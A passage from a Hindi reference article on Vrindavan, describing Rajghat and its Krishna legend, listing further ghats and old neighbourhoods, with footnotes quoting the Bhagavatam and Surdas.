  17. श्रीराजघाट- आदि-बद्रीघाट के दक्षिण में तथा वृन्दावन की दक्षिण-पूर्व दिशा में प्राचीन यमुना के तट पर राजघाट है। यहाँ कृष्ण नाविक बनकर सखियों के साथ श्रीमती राधिका को यमुना पार करात थे। यमुना के बीच में कौतुकी कृष्ण नाना प्रकार के बहाने बनाकर जब विलम्ब करने लगते, उस समय गोपियाँ महाराजा कंस का भय दिखलाकर उन्हें शीघ्र यमुना पार करने के लिए कहती थीं। इसलिए इसका नाम राजघाट प्रसिद्ध है।

इन घाटों के अतिरिक्त वृन्दावन-कथा नामक पुस्तक में और भी 14 घाटों का उल्लेख है-

(1)महानतजी घाट (2) नामाओवाला घाट (3) प्रस्कन्दन घाट (4) कडिया घाट (5) धूसर घाट (6) नया घाट (7) श्रीजी घाट (8) विहारी जी घाट (9) धरोयार घाट (10) नागरी घाट (11) भीम घाट (12) हिम्मत बहादुर घाट (13) चीर या चैन घाट (14) हनुमान घाट।

वृन्दावन के पुराने मोहल्लों के नाम

(1) ज्ञानगुदड़ी (2) गोपीश्वर, (3) बंशीवट (4) गोपीनाथबाग, (5) गोपीनाथ बाज़ार, (6) ब्रह्मकुण्ड, (7) राधानिवास, (8) केशीघाट (9) राधारमणघेरा (10) निधुवन (11) पाथरपुरा (12) नागरगोपीनाथ (13) गोपीनाथघेरा (14) नागरगोपाल (15) चीरघाट (16) मण्डी दरवाजा (17) नागरगोविन्द जी (18) टकशाल गली (19) रामजीद्वार (20) कण्ठीवाला बाज़ार (21) सेवाकुंज (22) कुंजगली (23) व्यासघेरा (24) श्रृंगारवट (25) रासमण्डल (26) किशोरपुरा (27) धोबीवाली गली (28) रंगी लाल गली (29) सुखनखाता गली (30) पुराना शहर (31) लारिवाली गली (32) गावधूप गली (33) गोवर्धन दरवाजा (34) अहीरपाड़ा (35) दुमाईत पाड़ा (36) वरओयार मोहल्ला (37) मदनमोहन जी का घेरा (38) बिहारी पुरा (39) पुरोहितवाली गली (40) मनीपाड़ा (41) गौतमपाड़ा (42) अठखम्बा (43) गोविन्दबाग (44) लोईबाज़ार (45) रेतियाबाज़ार (46) बनखण्डी महादेव (47) छीपी गली (48) रायगली (49) बुन्देलबाग (50) मथुरा दरवाजा (51) सवाई जयसिंह घेरा (52) धीरसमीर (53) टट्टीया स्थान (54) गहवरवन (55) गोविन्द कुण्ड और (56) राधाबाग।


वीथिका वृन्दावन

टीका-टिप्पणी

  1. वनं वृन्दावनं नाम पशव्यं नवकाननं गोपगोपीगवां सेव्य पुण्याद्रितृणवीरूधम्। तत्तत्राद्यैव यास्याम: शकटान्युड्क्तमाचिरम् , गोधनान्यग्रतो यान्तु भवतां यदि रोचते। वृन्दावन सम्प्रविष्य सर्वकालसुखावहम्, तत्र चकु: व्रजावासं शकटैरर्धचन्द्रवत् । वृदांवन गोवर्धनं यमुनापुलिनानि च, वीक्ष्यासीदुत्तमाप्रीती राममाधवयोर्नृप' श्रीमद्भागवत, 10,11,28-29-35-36 ।
  2. हम ना भई वृन्दावन रेणु, तिन चरनन डोलत नंद नन्दन नित प्रति चरावत धेनु। हम ते धन्य परम ये द्रुम वन बाल बच्छ अरु धेनु। सूर सकल खेलत हँस बोलत संग मध्य पीवत धेनु॥ सूरदास
  3. यानी वृन्दावन के बराबर संसार में कोई इतना पवित्र वन नहीं है, और नन्दगांव के बराबर कोई गांव, बंशीबट के बराबर कोई बट वृक्ष नहीं है, कृष्ण नाम के बराबर कोई दूसरा नाम श्रेष्ट नहीं है ।
  4. तद् भूरिभाग्यमिह जन्म किमप्यटव्यां यद् गोकुलेऽपि कतमाड्घ्रिरजोऽभिषेकम्। चज्जीवितं तु निखिलं भगवान् मुकुन्द- स्त्वद्यापि यत्पदरज: श्रुतिमृग्यमेव ॥ (श्रीमद्भ0 10/14/34)
  5. आसामहो चरणरेणुजुषामहं स्यां वृन्दावने किमपि गुल्मलतौषधीनाम् । या दुस्त्यजं स्वजनमार्यपथं च हित्वा भेजुर्मुकुन्दपदवीं श्रुतिभिर्विमृग्याम् ॥ (श्रीमद्भ0 10/47/61)
  6. पुण्या बत ब्रजभुवो यदयं नृलिंग- गूढ: पुराणपुरुषो वनचित्रमाल्य:। गा: पालयन् सहबल: क्वणयंश्चवेणुं विक्रीड़यांचति गिरित्ररमार्चिताड्घ्रि: ॥ (श्रीमद्भा0 10/44/13)
  7. वृन्दावनं सखि भुवो वितनोति कीर्ति यद्देवकीसुतपदाम्बुजलब्धलक्ष्मि । गोविन्दवेणुमनुमत्तमयूरनृत्यं प्रेक्ष्याद्रिसान्वपरतान्यसमस्तसत्वम् ॥ (श्रीमद्भा0 10/21/10)
  8. बर्हापीडं नटवरपु: कर्णयो: कर्णिकारं बिभ्रद् वास: कनककपिशं वैजयन्तीं च मालाम्। रन्ध्रान् वेणोरधरसुधया पूरयन् गोपवृन्दैर्वृन्दारण्यं स्वपदरमणं प्राविशद् गीतकीर्ति: ॥ (श्रीमद्भा0 10/21/5)


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